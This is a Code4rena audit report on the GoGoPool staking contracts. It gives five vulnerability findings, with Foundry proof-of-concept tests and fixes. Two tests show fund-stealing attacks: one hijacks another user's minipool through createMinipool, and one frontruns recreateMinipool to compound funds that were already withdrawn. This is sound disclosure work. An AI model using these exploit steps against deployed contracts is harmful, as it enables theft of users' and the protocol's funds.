GoGoPool contest - adriro's results

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L242-L247

Vulnerability details

The createMinipool function of the MinipoolManager contract can be used to reinitialize an existing minipool and potentially lose user funds. If the given nodeID has an existing minipool index, then the state for the minipool is reset:

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L242-L247

if (minipoolIndex != -1) {
	requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch);
	resetMinipoolData(minipoolIndex);
	// Also reset initialStartTime as we are starting a whole new validation
	setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".initialStartTime")), 0);
} else {

The check in requireValidStateTransition will succeed if the current status is MinipoolStatus.Withdrawable or MinipoolStatus.Error. During these two stages, node operator funds are still held by the protocol. Withdrawable is the state when Rialto finishes the stake successfully and returns the funds (stake and rewards) to the MinipoolManager, which stores them in the Vault contract. Similarly, Error happens when the multisig notifies an error in the stake and returns the funds to the MinipoolManager.

Impact

If the minipool is recreated before funds are withdrawn, then those funds associated with the node operator (owner of the minipool) will be lost since the createMinipool function will override that state. This can happen accidentally by the node operator, or by a bad actor as the function has no access control in the path that recreated the minipool (i.e. it doesn't verify that the call is performed by the current owner of the minipool).

The owner of the minipool is overwritten in line 259 and staked amount in line 262:

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L259-L262

259		setAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".owner")), msg.sender);
   		setAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".multisigAddr")), multisig);
   		setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpInitialAmt")), msg.value);
262		setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpAmt")), msg.value);

The call to resetMinipoolData (line 244) will clear any pending reward also:

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L691-L693

function resetMinipoolData(int256 index) private {
	...
	setUint(keccak256(abi.encodePacked("minipool.item", index, ".avaxTotalRewardAmt")), 0);
	setUint(keccak256(abi.encodePacked("minipool.item", index, ".avaxNodeOpRewardAmt")), 0);
	setUint(keccak256(abi.encodePacked("minipool.item", index, ".avaxLiquidStakerRewardAmt")), 0);
	...
}

PoC

In the following test, an attacker reinitialized the minipool after it gets to the Withdrawable state. Node operator loses funds and control of the minipool.

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.17;

import "./utils/BaseTest.sol";
import {FixedPointMathLib} from "@rari-capital/solmate/src/utils/FixedPointMathLib.sol";

contract AuditTest is BaseTest {
	using FixedPointMathLib for uint256;
	address private nodeOp;
	address private attacker;

	function setUp() public override {
		super.setUp();
		nodeOp = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT);
		attacker = getActorWithTokens("attacker", MAX_AMT, MAX_AMT);
	}

	function test_MinipoolManager_FundsLost() public {
		// Setup minipool and get to the withdrawable state by following the normal steps
		address liqStaker = getActorWithTokens("liqStaker", MAX_AMT, MAX_AMT);
		vm.prank(liqStaker);
		ggAVAX.depositAVAX{value: MAX_AMT}();

		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;

		vm.startPrank(nodeOp);

		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(100 ether);
		MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		vm.stopPrank();

		vm.startPrank(address(rialto));

		minipoolMgr.claimAndInitiateStaking(mp.nodeID);
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);

		skip(duration);

		uint256 rewards = 10 ether;
		deal(address(rialto), address(rialto).balance + rewards);
		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, rewards);

		vm.stopPrank();

		// Now minipool is in "withdrawable" state, attacker recreates minipool by calling createMinipool with nodeID
		vm.startPrank(attacker);

		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(100 ether);

		minipoolMgr.createMinipool{value: depositAmt}(mp.nodeID, duration, mp.delegationFee, avaxAssignmentRequest);

		// Attacker now owns the minipool, note that recreating the minipool wiped also the existing funds from nodeOp since state is overwritten in the createMinipool function
		MinipoolManager.Minipool memory updatedMp = minipoolMgr.getMinipool(mp.index);
		assertEq(updatedMp.status, uint256(MinipoolStatus.Prelaunch));
		assertEq(updatedMp.owner, attacker);
		assertEq(updatedMp.avaxTotalRewardAmt, 0);

		vm.stopPrank();
	}
}

Recommendation

Ensure that funds have been withdrawn before allowing the minipool to be reinitialized. This means limiting the transitions between Error and Withdrawable to Prelaunch, the valid transitions should be from the Canceled state (funds are returned to the node operator when the minipool is canceled) or from the Finished state, after owner has withdrawn funds. Care must be taken also when dealing with the Error state.

Also, if the minipool is reinitialized, consider adding a check to validate that the caller is the current owner of the minipool.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/ProtocolDAO.sol#L209-L216

Vulnerability details

The upgradeExistingContract function present in the ProtocolDAO can be used by the guardian of the protocol to upgrade a contract by providing a new implementation address. Under the hood, state is kept in the Storage contract.

upgradeExistingContract implementation will call registerContract and unregisterContract

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/ProtocolDAO.sol#L209-L216

function upgradeExistingContract(
		address newAddr,
		string memory newName,
		address existingAddr
	) external onlyGuardian {
		registerContract(newAddr, newName);
		unregisterContract(existingAddr);
	}

registerContract updates the storage for the new address:

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/ProtocolDAO.sol#L190-L194

function registerContract(address addr, string memory name) public onlyGuardian {
	setBool(keccak256(abi.encodePacked("contract.exists", addr)), true);
	setAddress(keccak256(abi.encodePacked("contract.address", name)), addr);
	setString(keccak256(abi.encodePacked("contract.name", addr)), name);
}

And unregisterContract will clear the storage associated with the previous address:

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/ProtocolDAO.sol#L198-L203

function unregisterContract(address addr) public onlyGuardian {
	string memory name = getContractName(addr);
	deleteBool(keccak256(abi.encodePacked("contract.exists", addr)));
	deleteAddress(keccak256(abi.encodePacked("contract.address", name)));
	deleteString(keccak256(abi.encodePacked("contract.name", addr)));
}

Since the unregisterContract call happens after the registerContract function, if the upgrade is done using the same contract name, then this will cause the address of the contract to be empty, since it is defined first during the registerContract call but immediately deleted in the call to unregisterContract. This operation should be expected, since throughout the codebase multiple contracts refer to other contracts by getting their addresses indexed by their names (using BaseAbstract.getContractAddress(name)).

Impact

Upgrading a contract with the same name will result in the contract's address being zero/empty (address(0)).

Other contracts that refer to the upgraded contract by name will fail, as they will try to call functions on the zero address, likely preventing some parts of the protocol from being executed.

PoC

The following test reproduces the issue. The "Staking" contract is first deployed and registered, and later upgraded to a second deployment by calling upgradeExistingContract. After the upgrade, the address for the "Staking" is address(0).

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.17;

import "./utils/BaseTest.sol";
import {FixedPointMathLib} from "@rari-capital/solmate/src/utils/FixedPointMathLib.sol";

contract AuditTest is BaseTest {
	function setUp() public override {
		super.setUp();
	}
	
	function test_ProtocolDAO_upgradeExistingContract_FailsIfSameName() public {
		string memory name = "Staking";
		address firstDeploy = randAddress();

		vm.startPrank(guardian);

		// Staking is registered for the first deploy
		dao.registerContract(firstDeploy, name);

		assertEq(store.getAddress(keccak256(abi.encodePacked("contract.address", name))), firstDeploy);

		// Now Staking is redeployed
		address secondDeploy = randAddress();

		dao.upgradeExistingContract(secondDeploy, name, firstDeploy);

		// Instead of pointing to the new deploy address, the address for the Staking is zeroed
		assertEq(store.getAddress(keccak256(abi.encodePacked("contract.address", name))), address(0));

		vm.stopPrank();
	}
}

Recommendation

This can be easily fixed by swapping the order of the actions, first unregistering the existing contract before registering the new one.

function upgradeExistingContract(
    address newAddr,
    string memory newName,
    address existingAddr
) external onlyGuardian {
    unregisterContract(existingAddr);
    registerContract(newAddr, newName);
}

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L444-L478

Vulnerability details

A minipool can be recreated by the Rialto multisig to reinitialize the stake while compounding the rewards using the recreateMinipool function:

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L444-L478

function recreateMinipool(address nodeID) external whenNotPaused {
  int256 minipoolIndex = onlyValidMultisig(nodeID);
  requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch);
  Minipool memory mp = getMinipool(minipoolIndex);
  // Compound the avax plus rewards
  // NOTE Assumes a 1:1 nodeOp:liqStaker funds ratio
  uint256 compoundedAvaxNodeOpAmt = mp.avaxNodeOpAmt + mp.avaxNodeOpRewardAmt;
  setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpAmt")), compoundedAvaxNodeOpAmt);
  setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxLiquidStakerAmt")), compoundedAvaxNodeOpAmt);
  ...  

The function checks that the minipool can be moved to the Prelaunch state, which means that the current state must be Withdrawable or Error, but also Finished is a valid transition.

This action can then be frontrunned by the node operator to withdraw their funds before the compound happens. A node operator can call the withdrawMinipoolFunds function if the minipool is in the Withdrawable or Error state to remove their funds, while the call to recreateMinipool will still succeed since the minipool will then be in the Finished status.

Impact

This represents a critical vulnerability since an attacker can steal funds from the protocol. After the first staking cycle of the minipool, the node operator can withdraw their funds while the minipool is successfully recreated in a state where it is ready to start a new staking cycle (Prelaunch) and the recorded amount is the compounded amount of the initial staked amount and the rewards of the last cycle.

The attacker just needs to have the required amount of GGP staked and the initial AVAX amount to trigger the first stake round. The attack can then be repeated to continuously steal protocol funds.

PoC

The following test demonstrates the issue. After the first staking cycle, when the minipool is in the Withdrawable state, the node operator performs the call to the withdrawMinipoolFunds function before the recreateMinipool call is executed.

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.17;

import "./utils/BaseTest.sol";
import {FixedPointMathLib} from "@rari-capital/solmate/src/utils/FixedPointMathLib.sol";

contract AuditTest is BaseTest {
	using FixedPointMathLib for uint256;
	address private nodeOp;

	function setUp() public override {
		super.setUp();
		nodeOp = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT);
	}

	function test_MinipoolManager_FrontrunRecreateMinipool() public {
		// Setup minipool and get to the withdrawable state by following the normal steps
		address liqStaker = getActorWithTokens("liqStaker", MAX_AMT, MAX_AMT);
		vm.prank(liqStaker);
		ggAVAX.depositAVAX{value: MAX_AMT}();

		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;

		vm.startPrank(nodeOp);

		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(200 ether);
		MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		vm.stopPrank();

		vm.startPrank(address(rialto));

		minipoolMgr.claimAndInitiateStaking(mp.nodeID);
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);

		skip(duration);

		uint256 rewards = 10 ether;
		deal(address(rialto), address(rialto).balance + rewards);
		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, rewards);

		vm.stopPrank();

		// NodeOp frontruns the recreateMinipool call and withdraws the funds
		vm.prank(nodeOp);
		minipoolMgr.withdrawMinipoolFunds(mp.nodeID);

		vm.prank(address(rialto));
		minipoolMgr.recreateMinipool(mp.nodeID);

		// Now the minipool has been successfully recreated with the compounded staked amounts.
		MinipoolManager.Minipool memory updatedMp = minipoolMgr.getMinipool(mp.index);
		assertEq(updatedMp.status, uint256(MinipoolStatus.Prelaunch));

		uint256 halfRewards = rewards / 2;
		uint256 nodeCommissionFee = halfRewards.mulWadDown(dao.getMinipoolNodeCommissionFeePct());
		assertEq(updatedMp.avaxNodeOpAmt, depositAmt + halfRewards + nodeCommissionFee);
	}
}

Recommendation

The recreateMinipool function should check that user funds have not been previously withdrawn before recreating and compounding the minipool. The valid transitions for this function should be from the Withdrawable or Error state, as these represent the states where the staking cycle has ended and node operator funds are still held by the protocol.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MultisigManager.sol#L41-L43

Vulnerability details

While multisig addresses in the MultisigManager contract can be disabled, there's no way to unregister an element in the contract.

Combined with the relatively low limit (MULTISIG_LIMIT = 10), this may lead to a scenario where there's no further room to add new addresses to the contract.

Impact

New multisig addresses won't be able to be registered in the contract after the first 10 are registered.

PoC

1. Call MultisigManager.registerMultisig(address) 10 times.
2. Any further call to registerMultisig will fail with the MultisigLimitReached error.

Recommendation

Add a function to unregister an existing address or to directly replace with a new one.

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L484

Vulnerability details

The function recordStakingError present in the MinipoolManager contract is used to finalize a staking cycle in the case of an error. This function fails to properly update the minipool counter for the node operator.

Impact

When the node operator create a minipool using the createMinipool function a call to Staking.increaseMinipoolCount is used to register this new minipool:

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L221

staking.increaseMinipoolCount(msg.sender);

The function recordStakingEnd will properly decrease this counter (line 437). However, recordStakingError doesn't call Staking.decreaseMinipoolCount to balance the counter accordingly. This will leave an inconsistency in the counter every time the staking cycle is ended with an error using the recordStakingError as the counter isn't decremented.

Note that this also can happen from the Finished state, since after a review of the error the finishFailedMinipoolByMultisig will move the state from the Error status to the Finished status.

PoC

The following test shows how the counter is incorrect after the Rialto multisig register the staking error.

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.17;

import "./utils/BaseTest.sol";
import {FixedPointMathLib} from "@rari-capital/solmate/src/utils/FixedPointMathLib.sol";

contract AuditTest is BaseTest {
	using FixedPointMathLib for uint256;
	address private nodeOp;

	function setUp() public override {
		super.setUp();
		nodeOp = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT);
	}
	
	function test_MinipoolManager_StateInconsistency() public {
		// Setup minipool and get to the error state by following the normal steps
		address liqStaker = getActorWithTokens("liqStaker", MAX_AMT, MAX_AMT);
		vm.prank(liqStaker);
		ggAVAX.depositAVAX{value: MAX_AMT}();

		uint256 duration = 2 weeks;
		uint256 depositAmt = 1000 ether;
		uint256 avaxAssignmentRequest = 1000 ether;
		uint256 validationAmt = depositAmt + avaxAssignmentRequest;

		vm.startPrank(nodeOp);

		ggp.approve(address(staking), MAX_AMT);
		staking.stakeGGP(100 ether);
		MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration);

		vm.stopPrank();

		assertEq(staking.getMinipoolCount(nodeOp), 1);

		vm.startPrank(address(rialto));

		minipoolMgr.claimAndInitiateStaking(mp.nodeID);
		bytes32 txID = keccak256("txid");
		minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp);

		bytes32 errorCode = keccak256("errorCode");
		minipoolMgr.recordStakingError{value: validationAmt}(mp.nodeID, errorCode);

		vm.stopPrank();

		// Count is still 1 for nodeOp
		assertEq(staking.getMinipoolCount(nodeOp), 1);
	}
}

Recommendation

The recordStakingError function should also decrease the minipool count:

function recordStakingError(address nodeID, bytes32 errorCode) external payable {
 	...
 	
 	Staking staking = Staking(getContractAddress("Staking"));
 	staking.decreaseAVAXAssigned(owner, avaxLiquidStakerAmt);
+	staking.decreaseMinipoolCount(owner);
 	...
}